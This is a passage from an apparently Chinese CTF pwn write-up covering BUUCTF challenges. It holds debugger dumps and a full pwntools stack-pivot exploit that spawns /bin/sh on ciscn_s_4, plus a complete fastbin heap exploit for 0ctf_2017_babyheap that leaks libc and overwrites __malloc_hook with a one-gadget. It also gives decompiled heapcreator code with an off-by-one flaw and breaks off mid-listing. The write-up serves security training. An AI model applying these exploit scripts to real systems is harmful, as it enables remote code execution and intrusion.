<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"> EAX  0x8</span><br><span class="line"> EBX  0x0</span><br><span class="line"> ECX  0xffffffff</span><br><span class="line"> EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0</span><br><span class="line"> EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> EBP  0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887</span><br><span class="line"> ESP  0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0</span><br><span class="line"> EIP  0x80484b8 (deregister_tm_clones+40) ◂— leave  </span><br><span class="line">─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────</span><br><span class="line">   0x80485f4 &lt;vul+95&gt;                     call   printf@plt &lt;0x80483e0&gt;</span><br><span class="line"> </span><br><span class="line">   0x80485f9 &lt;vul+100&gt;                    add    esp, 0x10</span><br><span class="line">   0x80485fc &lt;vul+103&gt;                    nop    </span><br><span class="line">   0x80485fd &lt;vul+104&gt;                    leave  </span><br><span class="line">   0x80485fe &lt;vul+105&gt;                    ret    </span><br><span class="line">    ↓</span><br><span class="line"> ► 0x80484b8 &lt;deregister_tm_clones+40&gt;    leave  </span><br><span class="line">   0x80484b9 &lt;deregister_tm_clones+41&gt;    ret    </span><br><span class="line">    ↓</span><br><span class="line">   0x8048400 &lt;system@plt&gt;                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] &lt;0x804a018&gt;</span><br><span class="line"> </span><br><span class="line">   0x8048406 &lt;system@plt+6&gt;               push   0x18</span><br><span class="line">   0x804840b &lt;system@plt+11&gt;              jmp    0x80483c0</span><br><span class="line">    ↓</span><br><span class="line">   0x80483c0                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] &lt;0x804a004&gt;</span><br><span class="line">──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────</span><br><span class="line">00:0000│ esp  0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0</span><br><span class="line">01:0004│      0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1</span><br><span class="line">02:0008│      0xffffd0a8 ◂— 0x0</span><br><span class="line">03:000c│      0xffffd0ac —▸ 0xf7e1c647 (__libc_start_main+247) ◂— add    esp, 0x10</span><br><span class="line">04:0010│      0xffffd0b0 —▸ 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line">... ↓</span><br><span class="line">06:0018│      0xffffd0b8 ◂— 0x0</span><br><span class="line">07:001c│      0xffffd0bc —▸ 0xf7e1c647 (__libc_start_main+247) ◂— add    esp, 0x10</span><br></pre></td></tr></table></figure>
<p>执行完构造payload中的leave后：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"> EAX  0x8</span><br><span class="line"> EBX  0x0</span><br><span class="line"> ECX  0xffffffff</span><br><span class="line"> EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0</span><br><span class="line"> EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> EBP  0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887</span><br><span class="line"> ESP  0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]</span><br><span class="line"> EIP  0x80484b9 (deregister_tm_clones+41) ◂— ret    </span><br><span class="line">─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────</span><br><span class="line">   0x80485f9 &lt;vul+100&gt;                    add    esp, 0x10</span><br><span class="line">   0x80485fc &lt;vul+103&gt;                    nop    </span><br><span class="line">   0x80485fd &lt;vul+104&gt;                    leave  </span><br><span class="line">   0x80485fe &lt;vul+105&gt;                    ret    </span><br><span class="line">    ↓</span><br><span class="line">   0x80484b8 &lt;deregister_tm_clones+40&gt;    leave  </span><br><span class="line"> ► 0x80484b9 &lt;deregister_tm_clones+41&gt;    ret             &lt;0x8048400; system@plt&gt;</span><br><span class="line">    ↓</span><br><span class="line">   0x8048400 &lt;system@plt&gt;                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] &lt;0x804a018&gt;</span><br><span class="line"> </span><br><span class="line">   0x8048406 &lt;system@plt+6&gt;               push   0x18</span><br><span class="line">   0x804840b &lt;system@plt+11&gt;              jmp    0x80483c0</span><br><span class="line">    ↓</span><br><span class="line">   0x80483c0                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] &lt;0x804a004&gt;</span><br><span class="line">   0x80483c6                              jmp    dword ptr [0x804a008] &lt;0xf7fee000&gt;</span><br><span class="line">──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────</span><br><span class="line">00:0000│ esp  0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]</span><br><span class="line">01:0004│      0xffffd074 ◂— 0x61616161 (&#x27;aaaa&#x27;)</span><br><span class="line">02:0008│      0xffffd078 —▸ 0xffffd07c ◂— &#x27;/bin/sh&#x27;</span><br><span class="line">03:000c│      0xffffd07c ◂— &#x27;/bin/sh&#x27;</span><br><span class="line">04:0010│      0xffffd080 ◂— 0x68732f /* &#x27;/sh&#x27; */</span><br><span class="line">05:0014│      0xffffd084 ◂— 0x61616161 (&#x27;aaaa&#x27;)</span><br></pre></td></tr></table></figure>
<p>执行完构造payload中的ret后：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"> EAX  0x8</span><br><span class="line"> EBX  0x0</span><br><span class="line"> ECX  0xffffffff</span><br><span class="line"> EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0</span><br><span class="line"> EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> EBP  0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887</span><br><span class="line"> ESP  0xffffd074 ◂— 0x61616161 (&#x27;aaaa&#x27;)</span><br><span class="line"> EIP  0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]</span><br><span class="line">─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────</span><br><span class="line">   0x80485fc  &lt;vul+103&gt;                    nop    </span><br><span class="line">   0x80485fd  &lt;vul+104&gt;                    leave  </span><br><span class="line">   0x80485fe  &lt;vul+105&gt;                    ret    </span><br><span class="line">    ↓</span><br><span class="line">   0x80484b8  &lt;deregister_tm_clones+40&gt;    leave  </span><br><span class="line">   0x80484b9  &lt;deregister_tm_clones+41&gt;    ret    </span><br><span class="line">    ↓</span><br><span class="line"> ► 0x8048400  &lt;system@plt&gt;                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] &lt;0x804a018&gt;</span><br><span class="line"> </span><br><span class="line">   0x8048406  &lt;system@plt+6&gt;               push   0x18</span><br><span class="line">   0x804840b  &lt;system@plt+11&gt;              jmp    0x80483c0</span><br><span class="line">    ↓</span><br><span class="line">   0x80483c0                               push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] &lt;0x804a004&gt;</span><br><span class="line">   0x80483c6                               jmp    dword ptr [0x804a008] &lt;0xf7fee000&gt;</span><br><span class="line">    ↓</span><br><span class="line">   0xf7fee000 &lt;_dl_runtime_resolve&gt;        push   eax</span><br><span class="line">──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────</span><br><span class="line">00:0000│ esp  0xffffd074 ◂— 0x61616161 (&#x27;aaaa&#x27;)</span><br><span class="line">01:0004│      0xffffd078 —▸ 0xffffd07c ◂— &#x27;/bin/sh&#x27;</span><br><span class="line">02:0008│      0xffffd07c ◂— &#x27;/bin/sh&#x27;</span><br><span class="line">03:000c│      0xffffd080 ◂— 0x68732f /* &#x27;/sh&#x27; */</span><br><span class="line">04:0010│      0xffffd084 ◂— 0x61616161 (&#x27;aaaa&#x27;)</span><br></pre></td></tr></table></figure>

<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">27655</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./ciscn_s_4&quot;)</span></span><br><span class="line">elf = ELF(<span class="string">&quot;./ciscn_s_4&quot;</span>)</span><br><span class="line">sys_addr = elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">leave=<span class="number">0x080484b8</span></span><br><span class="line"></span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x28</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;a&#x27;</span>*<span class="number">0x28</span>)</span><br><span class="line"><span class="comment"># gdb.attach(io)</span></span><br><span class="line">ebp = u32(io.recv(<span class="number">4</span>))</span><br><span class="line">buf_add = ebp - <span class="number">0x38</span></span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(ebp)</span><br><span class="line"></span><br><span class="line">payload = p32(sys_addr) + <span class="string">&#x27;aaaa&#x27;</span> + p32(buf_add+<span class="number">12</span>) + <span class="string">b&quot;/bin/sh\x00&quot;</span></span><br><span class="line">payload += (<span class="number">0x28</span> - <span class="built_in">len</span>(payload))* <span class="string">b&#x27;a&#x27;</span> + p32(buf_add-<span class="number">4</span>) + p32(leave)</span><br><span class="line"></span><br><span class="line"><span class="comment">#payload = &#x27;aaaa&#x27;+p32(sys_addr) + &#x27;aaaa&#x27; + p32(buf_add+16) + b&quot;/bin/sh\x00&quot;</span></span><br><span class="line"><span class="comment">#payload += (0x28 - len(payload))* b&#x27;a&#x27; + p32(buf_add) + p32(leave)</span></span><br><span class="line"><span class="comment">#两个payload都可以，意思都一样</span></span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x3B-0ctf-2017-babyheap"><a href="#0x3B-0ctf-2017-babyheap" class="headerlink" title="0x3B.0ctf_2017_babyheap"></a>0x3B.0ctf_2017_babyheap</h1><p>这题重复了，前面有个一样的。</p>
<p>当unsortedbin只有一个时，他的fd和bk指向<code>main_arena + 0x58</code>，而且 main_arena 又相对 libc 固定偏移 0x3c4b20，所以得到的内容减去0x3c4b78就是libc的基地址</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line"><span class="comment"># io = process(&#x27;./0ctf_2017_babyheap&#x27;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>, <span class="number">26377</span>)</span><br><span class="line"><span class="comment"># libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">libc = ELF(<span class="string">&quot;libc-x64-2.23.so&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">allocate</span>(<span class="params">size</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Command: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;1&quot;</span>)<span class="comment">#allocate</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Size: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(size))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fill</span>(<span class="params">index,content</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Command: &#x27;</span>)</span><br><span class="line">	io.sendline(<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Index: &#x27;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Size: &#x27;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(<span class="built_in">len</span>(content)))</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Content: &#x27;</span>)</span><br><span class="line">	io.send(content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Command: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;3&quot;</span>)<span class="comment">#free</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dump</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Command: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line">allocate(<span class="number">0x10</span>)<span class="comment">#0</span></span><br><span class="line">allocate(<span class="number">0x10</span>)<span class="comment">#1</span></span><br><span class="line">allocate(<span class="number">0x10</span>)<span class="comment">#2</span></span><br><span class="line">allocate(<span class="number">0x10</span>)<span class="comment">#3</span></span><br><span class="line">allocate(<span class="number">0x80</span>)<span class="comment">#4</span></span><br><span class="line">allocate(<span class="number">0x10</span>)<span class="comment">#5 topchunk</span></span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line">payload = p64(<span class="number">0</span>)*<span class="number">3</span> +p64(<span class="number">0x21</span>) + p64(<span class="number">0</span>)*<span class="number">3</span> +p64(<span class="number">0x21</span>) +p8(<span class="number">0x80</span>)</span><br><span class="line">fill(<span class="number">0</span>,payload)</span><br><span class="line">payload = p64(<span class="number">0</span>)*<span class="number">3</span> +p64(<span class="number">0x21</span>) </span><br><span class="line">fill(<span class="number">3</span>,payload)</span><br><span class="line">allocate(<span class="number">0x10</span>)<span class="comment">#1 --&gt;2</span></span><br><span class="line">allocate(<span class="number">0x10</span>)<span class="comment">#2 --&gt;4</span></span><br><span class="line">payload = p64(<span class="number">0</span>)*<span class="number">3</span> +p64(<span class="number">0x91</span>)</span><br><span class="line">fill(<span class="number">3</span>,payload)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line">dump(<span class="number">2</span>)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;ent: \n&#x27;</span>)</span><br><span class="line">libc_base = u64(io.recv(<span class="number">8</span>)) -  <span class="number">0x3c4b78</span></span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(libc_base)</span><br><span class="line">malloc_hook = libc_base + libc.sym[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line">allocate(<span class="number">0x60</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line">payload = p64(malloc_hook - <span class="number">0x23</span>)</span><br><span class="line">fill(<span class="number">2</span>,payload)</span><br><span class="line">allocate(<span class="number">0x60</span>)<span class="comment">#4</span></span><br><span class="line">allocate(<span class="number">0x60</span>)<span class="comment">#6</span></span><br><span class="line">payload = p8(<span class="number">0</span>)*<span class="number">3</span> + p64(<span class="number">0</span>)*<span class="number">2</span> +p64(libc_base+<span class="number">0x4526a</span>)</span><br><span class="line">fill(<span class="number">6</span>,payload)</span><br><span class="line">allocate(<span class="number">0x60</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h1 id="0x3C-hitcontraining-heapcreator"><a href="#0x3C-hitcontraining-heapcreator" class="headerlink" title="0x3C.hitcontraining_heapcreator"></a>0x3C.hitcontraining_heapcreator</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">create_heap</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">void</span> **v0; <span class="comment">// rbx</span></span><br><span class="line">  <span class="keyword">int</span> i; <span class="comment">// [rsp+4h] [rbp-2Ch]</span></span><br><span class="line">  <span class="keyword">size_t</span> size; <span class="comment">// [rsp+8h] [rbp-28h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v5; <span class="comment">// [rsp+18h] [rbp-18h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">9</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( !(&amp;heaparray)[i] )</span><br><span class="line">    &#123;</span><br><span class="line">      (&amp;heaparray)[i] = <span class="built_in">malloc</span>(<span class="number">0x10</span>uLL);</span><br><span class="line">      <span class="keyword">if</span> ( !(&amp;heaparray)[i] )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Allocate Error&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Size of Heap : &quot;</span>);</span><br><span class="line">      read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">      size = atoi(buf);</span><br><span class="line">      v0 = (&amp;heaparray)[i];</span><br><span class="line">      v0[<span class="number">1</span>] = <span class="built_in">malloc</span>(size);</span><br><span class="line">      <span class="keyword">if</span> ( !(&amp;heaparray)[i][<span class="number">1</span>] )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Allocate Error&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">2</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      *(&amp;heaparray)[i] = size;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Content of heap:&quot;</span>);</span><br><span class="line">      read_input((&amp;heaparray)[i][<span class="number">1</span>], size);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;SuccessFul&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v5;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>申请的首个0x10，前0x8放size，后半部分放申请的size的地址</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">edit_heap</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4uLL</span>);</span><br><span class="line">  v1 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; <span class="number">0</span> || v1 &gt; <span class="number">9</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (&amp;heaparray)[v1] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Content of heap : &quot;</span>);</span><br><span class="line">    read_input((&amp;heaparray)[v1][<span class="number">1</span>], *(&amp;heaparray)[v1] + <span class="number">1</span>);<span class="comment">//这里存在off by one</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Done !&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;No such heap !&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>delete：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> __int64 <span class="title">delete_heap</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4uLL</span>);</span><br><span class="line">  v1 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; <span class="number">0</span> || v1 &gt; <span class="number">9</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( (&amp;heaparray)[v1] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">free</span>((&amp;heaparray)[v1][<span class="number">1</span>]);<span class="comment">//free mallocsize)</span></span><br><span class="line">    <span class="built_in">free</span>((&amp;heaparray)[v1]); <span class="comment">//free 0x10</span></span><br><span class="line">    (&amp;heaparray)[v1] = <span class="number">0LL</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Done !&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;No such heap !&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span 